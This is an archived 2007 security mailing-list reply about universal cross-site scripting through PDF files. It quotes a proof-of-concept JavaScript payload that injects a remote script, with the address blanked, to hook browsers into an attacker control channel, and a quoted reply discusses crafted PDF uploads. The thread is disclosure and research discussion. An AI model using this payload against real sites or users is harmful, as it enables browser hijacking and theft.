lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Wed, 3 Jan 2007 22:33:05 +0000
From: "pdp (architect)" <>
	"Web Security" <>
Subject: Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

The following POC dynamically backdoors a given PDF document with an
attack channel:
() {var s = document.createElement('script');s.src =
'';s.defer = true;s.type =
'text/javascript';document.body.appendChild(s);}, 2000);void(0);

For the purpose of this POC I use carnaval. All hoocked clients can be
previewed by using carnaval's backframe profile:

click on backframe, or directly access the following URL:

On 1/3/07, Amit Klein <> wrote:
> pdp (architect) wrote:
> > Amit, this is very interesting solution and it will probably work in
> > most cases. However, if the attacker is able to upload PDF documents,
> > he/she can craft one that will produce the desired result as soon as
> > it gets opend by the user. This can be achieved by setting the PDF
> > file to redirect.
> I agree. I was thinking about a solution to the fragment problem, which
> is the topic of the thread (and a much more widespread situation than
> PDF upload).
> -Amit

pdp (architect) | petko d. petkov

Powered by blists - more mailing lists